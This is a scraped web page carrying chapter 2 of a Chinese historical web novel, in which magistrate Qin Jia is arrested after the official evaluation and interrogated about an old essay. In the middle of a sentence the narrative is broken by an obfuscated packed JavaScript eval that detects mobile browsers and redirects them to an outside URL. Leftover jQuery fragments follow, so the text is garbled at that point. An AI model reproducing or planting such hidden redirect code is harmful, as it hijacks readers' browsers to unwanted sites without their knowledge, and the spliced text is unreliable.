默认冷灰
24号文字
方正启体

2. 第 2 章

作者:别仙子本书字数:K更新时间:
    陆谦的话说进了秦嘉心里。


    齐承修留她一命,说不定真要在大计上充数。


    次日早起,闷闷不乐出了客栈,正见陆谦带着两个小厮从外头进来。


    “秦大人?这是要出门?”


    秦嘉敷衍见礼,嗯嗯两声就算答话了。


    见人要走,陆谦提醒道:“你现在去可什么值钱的物件都没了。”


    “嗯?”


    陆谦见她一脸迷茫,不可置信道:“你是昨夜泡澡泡多了,脑子里进水了吗?”


    “这临近大计,五品官以下的由吏部和督察院评定等级,现下好多人都给考功司的主官们送礼,盼着不是垫底呢。”


    垫底的,指不定要揪出来送刑部。


    秦嘉扫见陆谦身后的两个小厮手上提着的东西,反问道:“你也买了?”


    陆谦激动道:“笑话,小爷我身正不怕影子斜,为官清明,我还怕吏部的人查不成?”


    秦嘉点头要走,陆谦声音没完没了又道:“诶——秦嘉,你也不送礼么?”


    “没钱。”


    陆谦哈笑一声,想想也是,铜沙县那么偏,能有什么油水可捞?当了三年知县,定的房间还是下房...


    看来是真的很穷。


    “对了,”秦嘉去而复返,“你...你怎么知道我昨夜泡澡了?”


    陆谦上下打量他一眼,“昨夜你叫了许多次水,跑堂的咚咚咚跑了几个来回,你当我听不见?怎么还跟个姑娘似的磨磨唧唧...”


    “行了,闭嘴吧你!你当我跟你一样一月不洗澡么?”


    “秦嘉你少血口喷人,你说谁一月不洗澡?!”


    “说的就是你!”


    二人拌起嘴来,渐渐找回当年吵嘴的熟悉感,在这一点上诡异的合拍。


    “咳咳...二位许久不见。”


    骂骂咧咧的叫骂声顿停,秦嘉分神瞅了一眼,顿时松开摁在陆谦衣领上的手,看着客栈门口的人,嘴也打了结巴,“闵...闵泽兄?”


    苏闵泽是秦嘉与陆谦的同年,秋闱之后,他们三人结伴留在京城,四年前那场文变血腥中,他们都参与其中。


    只不过,苏闵泽并不赞同秦嘉讨缴藩王的举动,不赞同也不阻拦。


    在苏闵泽看来,读书人的文心值得坚守,这一点他不能评判秦嘉的对错。


    春闱过后,苏闵泽的位次最高,殿试上得了一甲第三名的名次,就顺理成章的留在翰林院做了编修。


    比他们外放做官的人不知强上多少倍。


    苏闵泽拱手作揖,“昨日陆兄来信告诉地址,没想到你二人都住在这里。”


    秦嘉微笑不语。


    苏闵泽又道:“秦兄外放后,怎么一年半载也不来个信?”


    秦嘉噎了一噎,“闵泽兄,你又不是不知道铜沙有多远,这邮差实在不方便...”


    陆谦毫不留情哈笑一声,“什么不方便,我看你是没钱付邮费吧,秦大人?”


    秦嘉恶狠狠在他靴面上踩了一脚。


    “要你多嘴!”


    临近年关,三人约定大计过后再聚。


    宣宁三年十二月二十五日,大计正式开始。


    大计期间,秦嘉战战兢兢等着消息,好在陆谦时不时能探听点朝中动向,回来还能说道说道。


    二人窝在房间里这么一分析,秦嘉觉得自己活不过一月的几率更大了。


    “陆谦,我这几年存了些积蓄,若我躲不过此劫,烦你将我母亲送回蕲州老家...”


    “别说那些晦气的。”


    “这不是晦气,”秦嘉捻了颗花生米,猛灌一杯酒,仰躺在榻。


    绯红酒意晕染上脸颊,她喃喃道:“人总要为自己的做过的事付出代价,或许四年前我不该那么做,但彼时别无选择,把自己推向风口浪尖,能多活三年,值了。”


    酒杯砸地,秦嘉顺着响动看去,陆谦早已醉倒在榻上。


    还真是心大。


    ——


    年关一过,大计的结果也出来了,盘桓在京城的各路官吏无不战战兢兢,有门路的给考功司的主官送礼,没门路的只能一边惶恐不安的等,一边祈求自己顺利通过。


    过了宣宁四年上元节,苏闵泽从宫里递出来消息,吏部往刑部和督察院送了一份名单。


    依着那份名单,刑部在京拿了不少人,而泰半都是永和年间的老人。


    天阴沉下来,秦嘉袖着手在客栈门口等。


    远远瞧见有人提着东西往回跑,离得近了才瞧清是陆谦。


    秦嘉心里一个‘咯噔’,心道该来的还是躲不过。


    陆谦推门进屋,边走边道:“秦嘉,我打听出来一件事,吏部往刑部送的那份名单里,有你的名字。”


    “躲不过...还真让你说中了。”


    “铜沙知县秦嘉——广阳知县杨平——拿人!”


    街上躁动,秦嘉推开窗子,刑部的人来了。


    暴躁的叩门声‘咚咚咚’响个不停。


    秦嘉以身挡在门口,“陆谦!我所有的银子都在包袱里,你拿着钱把我娘送回蕲州,我娘她们还在官驿里!算我求你!”


    “秦嘉!”


    身后门板剧烈晃动,巨大的冲力让秦嘉猛扑在地,身后随即涌来数个刑部的官兵将她死死摁在地上。


    头发挣扎散乱,秦嘉被挟着身子,最后默默看了陆谦一眼,无声道:谁都别为我求情...


    “走!”


    ——


    客栈变故不过半个时辰,消息便递进七王府内。


    齐承修略挑眉,唇畔含着抹讥诮,“多行不义必自毙,进了刑部也好,省的本本王亲自动手。”


    扶霜拱手道:“殿下,据属下所知,秦知县在任职期间风评甚好,不像是贪官蠹吏,现下秦知县的两个同年好友陆尚书之子和翰林院编修在为此事四处奔走,殿下要管吗?”


    “若他当真无辜,刑部怎会平白拿人?”


    齐承修向来看不上秦嘉那样只会动嘴皮子的文官,一边说着为国为民,一边贪墨民脂民膏,着实可恶。


    他倒要看看,大义凌然要为百姓请命的清正文官,私底下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341196|199335||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是个什么模样。“去吏部和督察院取复核文书来。”


    吏部考功司总核官员大计,督察院复核,复核过后凡在任贪墨者,一律投入刑部大牢。


    扶霜连夜取了审核文书。


    屋内,灯台上的蜡烛烧了一半,青年半倚圈椅,一手捧着文书,一手轻叩桌面。


    扶霜适时问道:“殿下,这秦知县当真是小人?”


    敲击声骤停,齐承修摇头,“吏部斥他前年开春无令借粮,险些误了民生大计,只这一条,便给他判了下下。”


    扶霜疑道:“前年春不正是鞑子骚扰边境,殿下无可奈何才朝边境几县借粮么?这...”


    齐承修闲散倚枕,目光沉沉落在书案上,喃喃出声,“原来他真是个好官呐...”


    齐承修心想,秦嘉虽该死,却也不能因为借粮的事死,“罢了,是本王欠他个人情,去叫督察院的人重议此事。”


    ——


    秦嘉当夜被投进刑部狱中。


    刑部刑狱内。


    男监气味混杂,秦嘉忍着恶心,顺从跟在提刑官身后。


    今夜已经是第三次提审了。


    夜里无法安眠,以致她眼袋乌青,未知的恐惧无时无刻都在摩擦名为理智的弦。


    因尚未定罪,刑部不得动刑,也未像其他犯人拿锁链羁押,只是牢房里滚了一圈,衣裳沾着刑狱里的血腥污秽。


    “秦——嘉?”刑审官坐在长条案后,重新覆了一张新纸,提笔蘸墨道:“你是宣宁元年的进士?”


    “是。”


    “永和二十八年,是谁授意你写了《昭明觉记》?”


    十指遽然紧缩,秦嘉猛的抬头,盯着条案后头提审官厚厚的嘴唇,《昭明觉记》自他口中说出。


    矮胖的提审官悠悠嘬了一口茶,笑眯眯道:“秦大人总不会不记得了吧?当年秦大人死里逃生,顶着蕲州解元的名头,洋洋洒洒写了一篇觉记,把咱们七殿下和陛下批做乱臣贼子,含沙射影骂了不少人呢。”


    秦嘉盯着油灯入神。


    前两次问询只问铜沙县的情况,看来刑问四年前的文变才是他们真正的目的。


    秦嘉不由绷紧了肩膀,身体不自觉前倾,哑着嗓子交代,“没有谁,是我书生意气,随手写的。”


    提审官眯眯眼,换了副亲近语气,“本官听说你与陆尚书家的公子陆谦是同年,秦大人与陆公子交好,那么四年前有没有受陆尚书或陆公子的暗示,才一时激动写下《昭明觉记》的呢?”


    将四年前的文变牵扯到陆尚书的头上,才是他们真正的目的吗?


    “没有。”


    “秦大人不再仔细想想么?毕竟陆谦确实参与了四年前的文变,只要秦大人承认这《昭明觉记》他陆谦也出了一份力,本官自能保大人平平安安的出去。”


    提审官眼下笑出两道深深的褶皱,眼底晦涩的光被油灯打的光怪陆离,像潜在暗处提线傀儡。


    他也想把她变成傀儡。


    秦嘉默了默,认了她自己能活,不认,她就要被借着大计的名头冤死狱中。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)